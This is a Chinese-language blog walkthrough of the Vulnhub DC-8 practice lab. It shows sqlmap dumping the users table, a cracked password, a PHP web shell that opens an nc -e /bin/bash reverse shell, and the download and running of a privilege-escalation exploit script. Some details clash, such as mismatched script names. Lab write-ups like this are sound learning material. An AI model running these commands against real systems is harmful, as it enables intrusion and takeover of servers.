Vulnhub靶机DC系列-DC8
靶场简介
- Name: DC: 8
 - Date release: 8 Sep 2019
 - Author: DCAU
 - Series: DC
 - Web page: http://www.five86.com/dc-8.html
 
描述
DC-8 是另一个特意建造的易受攻击的实验室,旨在获得渗透测试领域的经验。
这个挑战有点混合实际挑战和“概念证明”,即在 Linux 上安装和配置的双因素身份验证是否可以防止 Linux 服务器被利用。
这个挑战的“概念证明”部分最终是由于 Twitter 上关于双因素身份验证和 Linux 的问题,以及@theart42 的建议。
此挑战的最终目标是绕过双重身份验证,获取 root 权限并读取唯一标志。
除非您尝试通过 SSH 登录,否则您可能甚至不知道已安装和配置了双因素身份验证,但它肯定存在并且可以正常工作。
必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7 上给我发推文,寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
nmap 扫描
扫描存活

1  | kali 192.168.169.220  | 
扫描目标ip

访问http


扫描网站
- burpsuit + xray
 
- xray
 
1  | webscan --listen 127.0.0.1:7777 --html-output result.html  | 

- burpsuit
 

- 浏览器设置burpsuitp的代理
 - 对网站的每个能点击的功能点进行测试
 - 在xray的根目录能看到一份报告 
result.html和上面的命令有关可更改 
扫描报告

- 发现
sql注入在nid的位置 
sqlmap
1  | sqlmap -u http://192.168.169.235/?nid=3 --batch --level 4 --dbs  | 

1  | sqlmap -u http://192.168.169.235/?nid=3 --batch --level 4 -D d7db --tables  | 


1  | sqlmap -u http://192.168.169.235/?nid=3 --batch --level 4 -D d7db -T users --columns  | 

1  | sqlmap -u http://192.168.169.235/?nid=3 -D d7db -T users -C name,pass --dump  | 

1  | admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |  | 
解密

1  | admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z  | 
1  | john:turtle  | 
登录
- 扫目录
 
1  | dirsearch -u http://192.168.169.235/  | 
1  | http://192.168.169.235/user/login/  | 

写入一句话



蚁剑连接
无法找到路径 换方案
netcat
- kali
 

- 老位置写入
 
1  | <?php system("nc -n 192.168.169.235 6666 -e /bin/bash");?>  | 
- 随便写点东西提交产生交互
 

- 连接成功
 
1  | python -c "import pty; pty.spawn('/bin/bash');"  | 

提权
- 翻找可以利用的文件
 
1  | find / -perm -4000 2>/dev/null  | 

- 漏洞利用
 

- 下载文件使用命令开始端口让目标机下载
 
1  | python3 -m http.server 807  | 

- 下载
 
1  | wget http://192.168.169.220:807/469961.sh  | 

- 加权限 执行
 
1  | chmod +x 46996.sh  | 
1  | ./46996.sh -m netcat  | 


- 如果报错
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17shell脚本报错/bin/bash^M: bad interpreter: No such file or directory,通过查阅资料得知,shell脚本格式必须是unix才行,但我这个脚本是在windows上编写完成传到Linux服务器上的,所以一执行就报错
windows环境下的文件是dos格式,即每行结尾以\r\n来标识,而linux下的文件是unix格式,行尾则以\n来标识,查看该文件格式:
1.cat -A filename,如果输出结果中行末尾是^M, 则 是 d o s 格 式 , 如 果 行 末 尾 只 是 ,则是dos格式,如果行末尾只是,则是dos格式,如果行末尾只是,则是unix格式。
2.vim filename,编辑文件,执行“:set ff”,若执行结果为fileformat=dos则为dos格式,若执行结果为fileformat=unix则为unix格式。
3.od -t x1 filename,以16进制查看文件,若输出结果中存在“0d 0a”则为dos格式,如果只有“0a”则为unix格式。其中“0d”即为回车符“\r”,“0a”即为换行符“\n”。
1.sed -i “s/\r//” filename 或sed -i “s/^M//” filename,直接将回车符替换为空字符串。
2.vim filename,编辑文件,执行“: set ff=unix”,将文件设置为unix格式,然后执行“:wq”,保存退出。
3.dos2unix filename或busybox dos2unix filename,如果提示command not found,可以使用前两种方法。 
报错的话
检查下格式
:set ff 若执行结果为fileformat=dos则为dos格式
: set ff=unix 将文件设置为unix格式
然后执行“:wq”,保存退出。
结束
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Putdownd’s Blog!

